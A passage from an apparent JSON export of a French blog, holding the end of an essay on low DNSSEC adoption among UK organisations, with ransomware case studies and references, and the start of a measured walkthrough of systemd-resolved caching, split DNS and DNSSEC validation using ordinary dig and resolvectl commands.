qui finit dans les journaux. Toute comparaison de taux de compromission entre les deux groupes mesurerait la taille d\u0026rsquo;une organisation, pas le fait qu\u0026rsquo;elle ait signé.\nDonc non, je ne peux pas vous montrer que les organisations signées se font moins compromettre. Personne ne le peut, pas avec des données accessibles, et quiconque vous dit le contraire se raconte des histoires.\nLes organisations qui ont été touchées ont écrit ce qui avait lâché Vous n\u0026rsquo;avez pas besoin de mon inférence, parce qu\u0026rsquo;elles l\u0026rsquo;ont publiée elles-mêmes, et ce qui a lâché, c\u0026rsquo;est la liste ci-dessus.\nLa British Library est le meilleur des cas, parce qu\u0026rsquo;ils l\u0026rsquo;ont écrit volontairement et en détail après leur attaque par rançongiciel de 2023. Leur propre revue nomme les causes : une entrée très probablement par un compte tiers sur un serveur Terminal Services sans authentification multifacteur, puis une infrastructure ancienne et une segmentation réseau limitée qui ont laissé les attaquants circuler dans tout le patrimoine, la complexité croissante des accès tiers ayant été signalée comme un risque en interne en 2022 et toujours présente un an plus tard.19 L\u0026rsquo;ICO est arrivée aux mêmes conclusions.20\nTrois lignes du tableau ci-dessus, donc, confirmées de l\u0026rsquo;intérieur par l\u0026rsquo;organisation elle-même plutôt qu\u0026rsquo;inférées par moi depuis l\u0026rsquo;extérieur.\nEt avant que quiconque s\u0026rsquo;en serve comme d\u0026rsquo;un bâton, la British Library mérite l\u0026rsquo;inverse, et je vais être catégorique sur le pourquoi.\nIls ont été ouverts. Presque personne d\u0026rsquo;autre ne l\u0026rsquo;est. Rien ne les obligeait à en écrire un traître mot. Le manuel standard après un incident consiste à en dire le moins possible dans la limite de la loi, à le faire passer par une équipe de communication, à refuser de confirmer quoi que ce soit, et à attendre que le cycle médiatique passe à autre chose. C\u0026rsquo;est ce qu\u0026rsquo;ont fait la plupart des organisations des colonnes non signées ci-dessus quand leur tour est venu, et c\u0026rsquo;est pourquoi écrire cette section dépend de la décision d\u0026rsquo;un seul établissement de se comporter autrement.\nAu lieu de ça, ils ont publié une revue de dix-huit pages nommant leurs propres échecs, en public, pour que d\u0026rsquo;autres établissements puissent en tirer des leçons. C\u0026rsquo;est le comportement qu\u0026rsquo;on voudrait de chaque organisation de ce billet et qu\u0026rsquo;on obtient de presque aucune. Si je peux vous montrer ce qui lâche réellement à l\u0026rsquo;intérieur d\u0026rsquo;une organisation compromise, c\u0026rsquo;est parce que la British Library a choisi de vous le dire.\nEt il y a une seconde raison pour laquelle les autres se taisent, pire qu\u0026rsquo;une stratégie de communication. Certaines d\u0026rsquo;entre elles ne sont plus là.\nKNP Logistics déplaçait du fret sous le nom de Knights of Old depuis 1865. En juin 2023, le groupe Akira est entré, a chiffré l\u0026rsquo;entreprise et a demandé environ cinq millions de livres. En septembre, le groupe était insolvable et 730 personnes se retrouvaient sans emploi.21 Cent cinquante-huit ans, partis en quatorze semaines, et personne là-bas n\u0026rsquo;écrit de retour d\u0026rsquo;expérience pour vous.\nAlors quand les colonnes non signées ci-dessus ont l\u0026rsquo;air calmes, ce calme est fait de trois choses différentes : des organisations qui n\u0026rsquo;ont pas encore été touchées, des organisations qui l\u0026rsquo;ont été et en ont dit le moins possible dans la limite de la loi, et des organisations qui l\u0026rsquo;ont été et ne sont plus là. Seul le premier groupe a encore le temps d\u0026rsquo;agir.\nCe qui fait de la suite le test honnête de mon propre argument plutôt qu\u0026rsquo;un coup bas. J\u0026rsquo;ai vérifié leur zone :\n$ dig +short bl.uk DS (nothing) $ dig +short bl.uk DNSKEY (nothing) bl.uk n\u0026rsquo;est pas signé. britishlibrary.co.uk non plus. Deux ans après une attaque par rançongiciel qui a fermé l\u0026rsquo;établissement pendant des mois, après une revue publique, après une conclusion de l\u0026rsquo;ICO, et après le tour d\u0026rsquo;attention sécurité le plus approfondi qu\u0026rsquo;une organisation reçoive jamais, le contrôle gratuit qui prend un après-midi et qu\u0026rsquo;un inconnu peut vérifier en une commande n\u0026rsquo;est toujours pas fait.\nJe n\u0026rsquo;y lis pas de la négligence, et je ne pense pas que ça les rende pires que les organisations non signées qui n\u0026rsquo;ont rien publié. J\u0026rsquo;y lis la preuve la plus forte de ce billet sur ce dont il a été question tout du long. Si DNSSEC ne se fait pas ici, dans une organisation qui est passée par le feu, a écrit les leçons et a eu le régulateur qui repasse derrière, alors ce n\u0026rsquo;est pas par négligence qu\u0026rsquo;il est sauté. Il est sauté parce que rien ni personne ne le met jamais sur la liste.\nC\u0026rsquo;est la version honnête de l\u0026rsquo;argument. Pas les zones non signées causent des compromissions, qui est indémontrable et probablement faux. Plutôt : les contrôles que personne de l\u0026rsquo;extérieur ne peut voir sont, sur la foi des publications des organisations qui y sont passées, tout aussi négligés que le seul contrôle que tout le monde peut voir de l\u0026rsquo;extérieur. DNSSEC n\u0026rsquo;est pas la cause. C\u0026rsquo;est l\u0026rsquo;échantillon qu\u0026rsquo;on vous autorise à prélever.\nC\u0026rsquo;est pourquoi la mesure vaut la peine d\u0026rsquo;être prise. Pas parce qu\u0026rsquo;une zone non signée est la fin du monde en soi, mais parce que c\u0026rsquo;est l\u0026rsquo;une des très rares propriétés de sécurité qu\u0026rsquo;un étranger peut vérifier honnêtement, gratuitement, sur n\u0026rsquo;importe qui, sans qu\u0026rsquo;on le laisse entrer. Traitez-la comme un détecteur de fumée plutôt que comme un verdict, puis allez poser les questions plus difficiles à qui le déclenche.\nLa seule partie que vous contrôlez Ce qui laisse la seule partie que chacun de nous contrôle réellement. Votre propre zone. Pas celle du NCSC, pas celle de Microsoft, pas celle de votre banque.\nAllez demander à votre parent s\u0026rsquo;il se porte garant de vous :\ndig +short yourdomain.uk DS Si ça revient vide, vous n\u0026rsquo;êtes pas signé, et sur la plupart des DNS gérés en 2026 le correctif est une case à cocher et un enregistrement DS chez votre bureau d\u0026rsquo;enregistrement. Activez-le, puis surveillez l\u0026rsquo;expiration comme vous surveillez déjà vos certificats, parce que c\u0026rsquo;est la discipline dont tout ça a réellement besoin.\nC\u0026rsquo;est tout le travail. Un enregistrement, et une date dans votre supervision.\nAlors s\u0026rsquo;il vous plaît, faites au moins celui-là. Pas parce qu\u0026rsquo;un régulateur arrive, parce que pour la plupart d\u0026rsquo;entre vous il n\u0026rsquo;arrive pas, et pas parce que quelqu\u0026rsquo;un vous en remerciera, parce que personne ne le fera. Faites-le parce que personne ne vient, et qu\u0026rsquo;une norme qu\u0026rsquo;on tient quand personne ne vérifie est la seule qui ait jamais valu quelque chose.\nTrente-neuf secrétaires de paroisse et un barbouze y sont arrivés. Alors ressaisissez-vous et faites-le.\nRFC 4033 — « DNS Security Introduction and Requirements », Arends et al., mars 2005. La spécification DNSSEC actuelle, aux côtés des RFC 4034 et RFC 4035.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIANA root trust anchors — le XML que publie l\u0026rsquo;IANA. La première empreinte de clé porte validFrom=\u0026quot;2010-07-15\u0026quot;, la date de signature de la racine ; la KSK actuelle, étiquette de clé 20326, porte validFrom=\u0026quot;2017-02-02\u0026quot;.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCERT VU#800113 — « Multiple DNS implementations vulnerable to cache poisoning », l\u0026rsquo;avis de 2008 couvrant la technique Kaminsky, et la source de la réponse coordonnée par randomisation des ports source.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe root zone file — récupérée le 27 septembre 2026, numéro de série SOA 2026092701. Les décomptes de ce billet viennent de l\u0026rsquo;analyse directe des délégations NS et des enregistrements DS de ce fichier.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nList of gov.uk domain names — le registre du gouvernement lui-même. Le fichier le plus récent publié est daté du 1er octobre 2016 et liste 3 004 domaines de second niveau.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Security Response Center — Flame malware collision attack explained — « An attacker took advantage of the Terminal Services licensing system\u0026rsquo;s enrollment process for certificates that chained up to the Microsoft Root Authority which did not require internal access to Microsoft PKI » ; le certificat falsifié « could be used to sign code that chained up to the Microsoft Root Authority and worked on all versions of Windows ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSentinelOne — Driving Through Defenses : targeted attacks leverage signed malicious Microsoft drivers, et l\u0026rsquo;analyse de FiveSys par Bitdefender — des pilotes noyau malveillants porteurs de signatures délivrées directement par Microsoft via le programme de compatibilité matérielle Windows, dont des pilotes utilisés ensuite dans des attaques par rançongiciel.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Security Response Center — Results of major technical investigations for Storm-0558 key acquisition — une clé de signature grand public échappée dans un vidage mémoire par une situation de concurrence, prise après la compromission du compte professionnel d\u0026rsquo;un ingénieur, et utilisée pour falsifier des jetons que le système de messagerie a acceptés à tort pour des comptes d\u0026rsquo;entreprise.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nfTLD Registry Services security requirements — le registre .bank et .insurance. « .BANK domain names must be signed with DNSSEC with strong cryptographic algorithms », aux côtés de TLS et de l\u0026rsquo;authentification du courrier obligatoires, avec une re-vérification annuelle de chaque titulaire.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nApple, WWDC 2022 session 10079, « Improve DNS security for apps and servers » — « iOS 16 and macOS Ventura now support client side DNSSEC validation », activé par session ou par requête avec requiresDNSSECValidation sur URLSessionConfiguration, URLRequest ou NWParameters.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn — Understanding DNSSEC in Windows — le client DNS de Windows « is non-validating, which means it does not perform DNSSEC validation and relies on its local DNS servers » ; l\u0026rsquo;attente du bit AD est pilotée par la Name Resolution Policy Table, et « IPsec is used to establish this trust relationship » avec le serveur DNS.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nResolved : le résolveur que vous faites déjà tourner — l\u0026rsquo;état mesuré de systemd-resolved, y compris pourquoi toutes les distributions grand public livrent DNSSEC=no à la compilation et comment le changer.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMS-ADTS : DNS-Based Discovery — la spécification du protocole Active Directory pour localiser un contrôleur de domaine, y compris la requête SRV _ldap._tcp.dc._msdcs qu\u0026rsquo;un client émet pour trouver les contrôleurs d\u0026rsquo;un contexte de nommage.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn — Sign DNS zones with DNSSEC on Windows Server et What is DNSSEC on DNS Server in Windows Server? — la signature de zone est arrivée dans Windows Server 2008 R2 mais interdisait les mises à jour dynamiques, et Windows Server 2012 a ajouté la signature en ligne des zones dynamiques. Pour une zone intégrée à Active Directory, les clés de signature privées se répliquent vers les autres serveurs DNS primaires par la réplication Active Directory.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolved.conf(5), systemd 259.9 tel que livré dans Fedora 44 — le manuel recommande allow-downgrade, et true sur les systèmes où l\u0026rsquo;on peut compter sur le résolveur amont, alors que le défaut empaqueté dans /usr/lib/systemd/resolved.conf est DNSSEC=no.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nsystemd meson_options.txt — option('default-dnssec', type : 'combo', choices : ['yes', 'allow-downgrade', 'no'], value : 'allow-downgrade'). Le défaut choisi en amont est allow-downgrade ; le #DNSSEC=no du fichier fournisseur de Fedora est ce que cette construction a posé à la place.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNous n\u0026rsquo;avons jamais manqué d\u0026rsquo;adresses. Nous avons manqué d\u0026rsquo;effort. — la version IPv6 de cet argument, y compris les 463 organisations britanniques détentrices d\u0026rsquo;allocations IPv6 qui n\u0026rsquo;annoncent aucun IPv6, et le point sur le CGNAT qui, lui, a un bon de commande, là où bien faire les choses n\u0026rsquo;en a aucun.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 882 — « Domain Names: Concepts and Facilities », P. Mockapetris, novembre 1983. La spécification d\u0026rsquo;origine, remplacée par les RFC 1034 et RFC 1035 en 1987.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBritish Library, « Learning Lessons from the Cyber-Attack », 8 mars 2024 — la revue de la bibliothèque elle-même sur l\u0026rsquo;attaque par rançongiciel d\u0026rsquo;octobre 2023, nommant l\u0026rsquo;absence d\u0026rsquo;authentification multifacteur sur le compte utilisé pour entrer, l\u0026rsquo;infrastructure ancienne, la segmentation réseau limitée et la complexité des accès tiers consignée comme un risque en 2022.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nICO statement on the British Library\u0026rsquo;s 2023 ransomware attack, avril 2025.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe Record — UK logistics firm blames ransomware attack for insolvency, 730 redundancies — KNP Logistics Group, maison mère des Knights of Old vieux de 158 ans, attaqué par Akira en juin 2023 après le cassage par force brute du mot de passe d\u0026rsquo;un employé en l\u0026rsquo;absence de toute authentification multifacteur, et insolvable dès septembre.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/dns/dnssec-the-root-is-signed-you-are-not/","summary":"Le plus dur de DNSSEC était fini il y a des années. Compté sur la zone racine en direct le 27 septembre 2026, 1 351 domaines de premier niveau sur 1 438 portent un enregistrement DS, et les 1 038 gTLD sont signés sans exception. Puis ça s\u0026rsquo;arrête net. Un recensement de tous les domaines gov.uk du registre officiel du gouvernement en trouve 39 signés sur les 2 390 qui résolvent encore, dont neuf conseils de paroisse, tandis que le fisc, le NHS, le GCHQ et le Centre national de cybersécurité n\u0026rsquo;en font pas partie. Une autorité de certification sur neuf a signé. Une distribution Linux sur trois aussi. windowsupdate.com n\u0026rsquo;a aucun DS. Voici ce que coûte réellement une réponse falsifiée, ce que la signature y change, pourquoi les excuses habituelles ne survivent pas au contact des chiffres, et si, quarante-deux ans après Mockapetris, le vrai problème n\u0026rsquo;est pas que presque personne ne comprend ce que le DNS promet.","title":"DNSSEC : protéger votre trafic de la falsification"},{"content":"Il y a un résolveur DNS qui tourne sur votre machine en ce moment même. Vous ne l\u0026rsquo;avez pas installé, vous ne l\u0026rsquo;avez probablement jamais configuré, et il répond à chaque recherche de nom que fait la machine. Sur Fedora, Ubuntu et la plupart des Linux de bureau, c\u0026rsquo;est systemd-resolved, et il est assis là tranquillement depuis le jour de l\u0026rsquo;installation du système.\nIl sait faire trois choses qui valent le coup. Il met en cache, donc la même recherche ne traverse pas le réseau deux fois. Il valide DNSSEC, donc une réponse forgée est rejetée au lieu d\u0026rsquo;être crue. Et il parle DNS over TLS, donc le réseau local ne peut pas lire chaque nom que vous demandez.\nPar défaut, il fait exactement une de ces trois choses. Les deux autres sont coupées, et sur certaines distributions elles sont coupées à la compilation, ce qui veut dire que le réglage que vous iriez changer n\u0026rsquo;est même pas le réglage qui a décidé. Un validateur qui ne valide jamais n\u0026rsquo;est ni utile ni décoratif.\nVoici ce que cette chose fait réellement, mesuré sur une machine Fedora 44 en fonctionnement avec systemd 259, et ce qui change quand vous activez les deux autres. Y compris ce que votre distribution a décidé pour vous à la compilation, et quelle part de ça vous pouvez tout simplement outrepasser.\nQu\u0026rsquo;est-ce qui répond réellement à vos recherches Commençons par le tableau honnête, parce que « ça utilise /etc/resolv.conf » n\u0026rsquo;est plus vrai sur ces systèmes depuis des années.\nsystemd-resolved s\u0026rsquo;expose de quatre façons différentes, et celle qu\u0026rsquo;un programme emprunte décide de ce qu\u0026rsquo;il reçoit en retour.1 Le chemin glibc, c\u0026rsquo;est nss-resolve, câblé par /etc/nsswitch.conf. Les chemins natifs sont D-Bus et Varlink, qui portent le verdict DNSSEC et la portée d\u0026rsquo;interface que getaddrinfo n\u0026rsquo;a aucun moyen d\u0026rsquo;exprimer. Puis le stub, un vrai serveur DNS sur le bouclage pour tout ce qui parle du DNS brut et ne sait rien de tout ce qui précède.\nQuatre portes, un seul démon.\nSur cette machine, ce câblage ressemble à ça :\n$ ls -l /etc/resolv.conf lrwxrwxrwx. 1 root root 39 May 30 13:56 /etc/resolv.conf -\u0026gt; ../run/systemd/resolve/stub-resolv.conf $ cat /etc/resolv.conf nameserver 127.0.0.53 options edns0 trust-ad search damiendye.uk $ grep ^hosts: /etc/nsswitch.conf hosts: files myhostname mdns4_minimal [NOTFOUND=return] resolve [!UNAVAIL=return] dns resolve dans cette ligne, c\u0026rsquo;est nss-resolve. dns juste après, c\u0026rsquo;est le traditionnel nss-dns, posé là en secours qui ne se déclenche que si resolved ne tourne pas du tout.\nQuatre portes d'entrée, un seul démon, et une décision de routage avant que quoi que ce soit ne quitte la machine COMMENT UN PROGRAMME DEMANDE CE QUE FAIT LE DÉMON OÙ ÇA VA nss-resolve glibc, sans verdict D-Bus, Varlink natif, verdict complet 127.0.0.53 le stub complet 127.0.0.54 le stub proxy systemd-resolved 1. hosts et synthétiques 2. cache 3. validateur DNSSEC 4. routage 5. transport le stub proxy saute 2 et 3 LLMNR sur 5355 DNS amont Quatre portes d\u0026rsquo;entrée, un seul démon, et une décision de routage avant que quoi que ce soit ne quitte la machine Il y a deux stubs, pas un Tout le monde connaît 127.0.0.53. Moins de gens savent qu\u0026rsquo;il y en a un second.\n$ ss -lntup | grep \u0026#39;:53 \u0026#39; udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:* udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* Ce ne sont pas deux adresses pour la même chose. La seconde en fait délibérément moins :2\n127.0.0.53 127.0.0.54 Rôle Le résolveur local complet Mode proxy seulement Cache Oui Non Validation DNSSEC Oui, quand elle est activée Jamais LLMNR et Multicast DNS Oui Non Noms synthétiques (localhost, _gateway) Oui Non Bascule vers DNS over TLS Oui Oui Nom synthétique associé _localdnsstub _localdnsproxy Ce que vous récupérez Ce que resolved a décidé Ce que l\u0026rsquo;amont a dit La documentation est brutale sur la seconde colonne. Il va « pass most DNS messages relatively unmodified to the current upstream DNS servers and back, but not try to process the messages locally, and hence does not validate DNSSEC, or offer up LLMNR/MulticastDNS » — faire passer la plupart des messages DNS à peu près intacts vers les serveurs amont et retour, sans essayer de les traiter localement, et donc sans valider DNSSEC ni offrir LLMNR/MulticastDNS.2\nCe qui fait de 127.0.0.54 la bonne cible pour un programme qui veut faire sa propre validation, ou pour celui qui a besoin de la réponse brute de l\u0026rsquo;amont plutôt que de l\u0026rsquo;interprétation qu\u0026rsquo;en fait resolved.\nLes deux adresses ont des noms synthétiques, _localdnsstub et _localdnsproxy, qui résolvent sans la moindre configuration.\nQuatre modes pour /etc/resolv.conf, pas trois Le mode est détecté automatiquement d\u0026rsquo;après ce qu\u0026rsquo;est le fichier, et il y en a quatre.1\n/etc/resolv.conf est Ce que ça veut dire Les clients qui contournent NSS un lien vers run/systemd/resolve/stub-resolv.conf Le mode recommandé. Liste 127.0.0.53 et les domaines de recherche vivants Passent par resolved un lien vers /usr/lib/systemd/resolv.conf Statique, liste 127.0.0.53, ne porte aucun domaine de recherche Passent par resolved un lien vers run/systemd/resolve/resolv.conf Liste les vrais serveurs amont, tenu à jour Contournent resolved entièrement un vrai fichier géré par autre chose resolved le lit en consommateur, pas en fournisseur Contournent resolved entièrement C\u0026rsquo;est la troisième ligne qui piège les gens. Elle a l\u0026rsquo;air de l\u0026rsquo;option propre, elle est tenue à jour, et elle veut discrètement dire que chaque programme qui lit resolv.conf directement parle au résolveur de votre FAI sans cache, sans validation et sans chiffrement, quoi que vous ayez configuré dans resolved.conf.\nL\u0026rsquo;option trust-ad dans le fichier ci-dessus compte aussi. Sans elle, la glibc retire le bit AD de la réponse avant que votre programme ne la voie, au motif raisonnable que la prétention d\u0026rsquo;un résolveur quelconque à avoir validé quelque chose ne vaut rien. Avec 127.0.0.53 comme serveur de noms, la prétention vient de votre propre machine, donc trust-ad est correct ici et resolved vous l\u0026rsquo;écrit tout seul.\nSur les théories du complot autour de systemd Avant d\u0026rsquo;entrer dans le détail, parce que c\u0026rsquo;est le sujet où ça finit toujours par arriver.\nSi votre objection à ce qui suit est une théorie sur Lennart Poettering personnellement, ou sur les motivations de Red Hat, ou sur systemd comme complot pour vous prendre quelque chose, vous pouvez passer votre chemin, parce que je n\u0026rsquo;ai pas envie d\u0026rsquo;entendre votre fiction.\nTout ce qui est dans ce billet vient d\u0026rsquo;une machine vivante : les sources, les options de compilation, le binaire livré, les pages de manuel et le comportement mesuré. Chaque affirmation a une commande à côté d\u0026rsquo;elle que vous pouvez lancer vous-même pour vérifier. Les options de compilation sont publiques. Les sources sont publiques. Le seul défaut que je crois véritablement mauvais a été choisi par des gens qui ont écrit leur raisonnement là où n\u0026rsquo;importe qui peut le lire et le contester, ce qui est exactement ce que je fais plus bas.\nC\u0026rsquo;est nettement plus de transparence que vous n\u0026rsquo;en obtenez de la plupart des logiciels que vous faites tourner sans un mot de protestation.\nApportez des preuves ou arrêtez.\nLe cache est la partie qui marche toute seule C\u0026rsquo;est la seule fonctionnalité activée par défaut partout, et c\u0026rsquo;est celle qui rapporte sans la moindre configuration.\nLa mesure, sur cette machine, sur 32 domaines. Vider le cache, interroger le lot, les interroger de nouveau, et lire le temps de requête rapporté par dig plutôt que de chronométrer le processus :\n$ resolvectl flush-caches $ for n in $NAMES; do dig +tries=1 @127.0.0.53 \u0026#34;$n\u0026#34; A | grep \u0026#39;Query time\u0026#39;; done médiane moyenne p90 max total pour 32 noms cache froid 103,5 ms 106,7 ms 184 ms 238 ms 3 414 ms cache chaud 0,0 ms 0,5 ms 1 ms 3 ms 16 ms 3 414 millisecondes contre 16. C\u0026rsquo;est tout l\u0026rsquo;argument en faveur d\u0026rsquo;un cache local, et c\u0026rsquo;est pourquoi c\u0026rsquo;est le défaut.\nIl vaut la peine d\u0026rsquo;être honnête sur ce qu\u0026rsquo;est ce chiffre, cela dit. C\u0026rsquo;est l\u0026rsquo;économie sur une série de trente-deux noms jamais recherchés auparavant, comparée à la même série répétée, et aucune charge réelle ne ressemble ni à l\u0026rsquo;une ni à l\u0026rsquo;autre. Le chiffre utile, c\u0026rsquo;est la queue plutôt que la médiane : la pire recherche de cet ensemble a coûté 238 ms à froid et 3 ms à chaud. Une page qui tire huit noms d\u0026rsquo;hôte se moque de votre médiane, elle attend votre plus lent.\nLes molettes [Resolve] Cache=yes # yes | no-negative | no CacheFromLocalhost=no # default: do not cache answers from 127.0.0.1 StaleRetentionSec=0 # serve expired records when upstream is down Réglage Défaut Ce qu\u0026rsquo;il fait Cache=yes activé Met en cache les réponses positives et négatives Cache=no-negative Réponses positives seulement, pour quand vous en avez assez d\u0026rsquo;attendre la fin d\u0026rsquo;un TTL négatif CacheFromLocalhost=no activé Ne met rien du tout en cache quand l\u0026rsquo;amont est sur 127.0.0.1 StaleRetentionSec=0 coupé Sert les enregistrements expirés quand l\u0026rsquo;amont cesse de répondre DNSCacheSize=4096 4096 Enregistrements gardés par portée. systemd 261 et au-delà seulement C\u0026rsquo;est la troisième ligne qui mord. Si votre amont est un dnsmasq ou un unbound sur le bouclage, resolved ne mettra pas du tout ses réponses en cache, au motif que la chose à laquelle il parle est déjà un cache. Pointez resolved vers un résolveur filtrant sur un autre hôte et vous avez deux couches de cache. Pointez-le vers un résolveur sur le bouclage et vous n\u0026rsquo;en avez qu\u0026rsquo;une.\nStaleRetentionSec= est le réglage intéressant, et il est coupé par défaut. Mettez-le, et quand l\u0026rsquo;amont cesse de répondre, resolved continue de servir les enregistrements au-delà de leur TTL plutôt que d\u0026rsquo;échouer.2 Il essaie toujours l\u0026rsquo;amont d\u0026rsquo;abord. Ça ne s\u0026rsquo;applique pas à NXDOMAIN, parce qu\u0026rsquo;un nom qui n\u0026rsquo;existe pas est une réponse parfaitement valide et qu\u0026rsquo;il n\u0026rsquo;y a rien de périmé là-dedans. Pour un portable qui entre et sort de couverture, ou une machine qui doit continuer de fonctionner pendant une panne DNS, ça vaut le coup :\n[Resolve] StaleRetentionSec=1d systemd 261 a ajouté par-dessus le dimensionnement du cache par protocole, avec DNSCacheSize=, MulticastDNSCacheSize= et LLMNRCacheSize=, chacun réglé par défaut à 4096 enregistrements et plafonné à 2^24.3 Pas sur cette machine, qui tourne en 259, et sur aucune version stable actuelle de distribution. Bon à savoir que ça arrive, parce que jusqu\u0026rsquo;ici la taille du cache n\u0026rsquo;était pas réglable du tout.\nLe démon vide aussi tout sous pression mémoire, ce qui est sensé et occasionnellement surprenant quand vous cherchez pourquoi un taux de succès du cache a l\u0026rsquo;air médiocre.\nLe split DNS est la raison de le garder Si vous ne retenez qu\u0026rsquo;une chose, retenez cette section, parce que c\u0026rsquo;est la fonctionnalité qui fait véritablement ce que l\u0026rsquo;ancien résolveur stub ne pouvait pas faire.\nLe resolv.conf traditionnel a une liste de serveurs de noms pour toute la machine. Une seule liste. Montez un VPN et il faut bien que quelque chose l\u0026rsquo;écrase, ce qui veut dire soit vos noms internes marchent et le reste du DNS passe par le résolveur de l\u0026rsquo;entreprise, soit l\u0026rsquo;inverse. Il n\u0026rsquo;y a pas de troisième option. Le fichier ne sait pas l\u0026rsquo;exprimer.\nresolved route par requête et par interface.1 Chaque lien a ses propres serveurs et ses propres domaines, et une recherche part vers le lien dont le domaine correspond le mieux au nom, au nombre de labels.\nConfiguration Écrite Effet Domaine de recherche damiendye.uk Suffixe pour les noms à un seul label, et route les requêtes correspondantes vers ce lien Domaine de routage seul ~internal.example Route les requêtes correspondantes vers ce lien, jamais utilisé comme suffixe Route fourre-tout ~. Envoie vers ce lien tout ce qui ne correspond à rien d\u0026rsquo;autre Route par défaut DNSDefaultRoute=yes Prend les requêtes sans correspondance, sans revendiquer ~. Alors un portable avec un VPN d\u0026rsquo;entreprise monté obtient ceci :\nresolvectl domain tun0 \u0026#39;~corp.example\u0026#39; \u0026#39;~10.in-addr.arpa\u0026#39; resolvectl dns tun0 10.0.0.53 Les noms sous corp.example et les recherches inverses pour 10.0.0.0/8 descendent dans le tunnel. Tout le reste continue de sortir par le lien local comme avant. Le resolv.conf de personne n\u0026rsquo;a été réécrit, et quand le tunnel tombe les routes s\u0026rsquo;en vont avec lui.\nUne requête, deux liens, et une décision de routage prise au nombre de labels LA REQUÊTE LA DÉCISION LE LIEN db01.corp.example 14.0.10.in-addr.arpa blogs.damiendye.uk Le plus de labels gagne Chaque lien a ses propres serveurs et domaines. tun0 ~corp.example wlp4s0 DefaultRoute Un tilde route seulement. Sans tilde, ça suffixe aussi les noms à un seul label. Une requête, deux liens, et une décision de routage prise au nombre de labels Une règle mérite d\u0026rsquo;être énoncée clairement, parce que c\u0026rsquo;est celle vers laquelle les gens se précipitent en se trompant. ~. sur un lien veut dire préférer ce lien pour tout. Ça empêche aussi implicitement tout autre lien d\u0026rsquo;être une route par défaut. Vous voulez qu\u0026rsquo;un lien prenne les restes sans revendiquer tout l\u0026rsquo;espace de noms ? Mettez DNSDefaultRoute=yes et laissez ~. tranquille.\nVérifiez ce qu\u0026rsquo;il a décidé plutôt que de le supposer :\n$ resolvectl status Link 3 (wlp4s0) Current Scopes: DNS LLMNR/IPv4 LLMNR/IPv6 Protocols: +DefaultRoute LLMNR=resolve -mDNS -DNSOverTLS DNSSEC=no/unsupported Current DNS Server: 192.0.2.53 DNS Servers: 192.0.2.53 2001:db8:1::53 DNS Domain: damiendye.uk Default Route: yes Chaque adresse de ce billet vient des plages de documentation, 192.0.2.0/24 et 2001:db8::/32, alors ne les collez pas dans une configuration en espérant une réponse.4 5 Les chiffres et le comportement sont réels, pris sur une machine vivante. Les adresses sont des doublures, parce qu\u0026rsquo;une adresse IPv6 globale construite de la façon habituelle porte la MAC de l\u0026rsquo;interface dans sa moitié basse, et en publier une distribue un morceau d\u0026rsquo;inventaire matériel avec.\nCe -DNSOverTLS et ce DNSSEC=no font les deux sections suivantes.\nIl sait valider DNSSEC Le démon est décrit en amont comme « a caching and validating DNS/DNSSEC stub resolver » — un résolveur stub DNS/DNSSEC avec cache et validation.1 La moitié validation est réelle, ce n\u0026rsquo;est pas une surcouche par-dessus autre chose, et elle marche. Elle n\u0026rsquo;est simplement pas activée.\nL\u0026rsquo;activer par lien ne demande pas de sudo, parce que resolvectl passe par polkit et qu\u0026rsquo;une session locale active y a droit :\n$ resolvectl dnssec wlp4s0 yes $ resolvectl status wlp4s0 | grep DNSSEC DNSSEC=yes/supported Ce suffixe /supported est resolved qui rapporte ce qu\u0026rsquo;il a trouvé en sondant l\u0026rsquo;amont, séparément de ce que vous avez demandé. yes/supported veut dire que vous avez demandé la validation et que le serveur sait la porter. no/unsupported sur une installation par défaut veut dire que personne n\u0026rsquo;a demandé, donc personne n\u0026rsquo;a sondé.\nUne fois que c\u0026rsquo;est activé, chaque recherche revient avec un verdict, et il y en a trois.\nSécurisé, non sécurisé et falsifié sont trois réponses différentes LE PARENT PUBLIE-T-IL UN DS, ET LES SIGNATURES VÉRIFIENT-ELLES ? SÉCURISÉ damiendye.uk Signée, et la chaîne tient. Données renvoyées. NON SÉCURISÉ systemd.io Pas de DS. Non signée, donc rien à vérifier. Données renvoyées. FALSIFIÉ dnssec-failed.org Prétend être signée. La preuve échoue. Recherche refusée. Deux des trois renvoient des données. Activer la validation n'empêche pas les sites non signés de marcher. Sécurisé, non sécurisé et falsifié sont trois réponses différentes, et une seule est un échec Voici les trois sur cette machine, contre de vrais noms :\n$ resolvectl query damiendye.uk -- Data is authenticated: yes; Data was acquired via local or encrypted transport: no $ resolvectl query systemd.io -- Data is authenticated: no; Data was acquired via local or encrypted transport: no $ resolvectl query dnssec-failed.org dnssec-failed.org: resolve call failed: DNSSEC validation failed: missing-key (DNSKEY Missing: no SEP matching the DS found for dnssec-failed.org.) damiendye.uk est signé, donc la chaîne 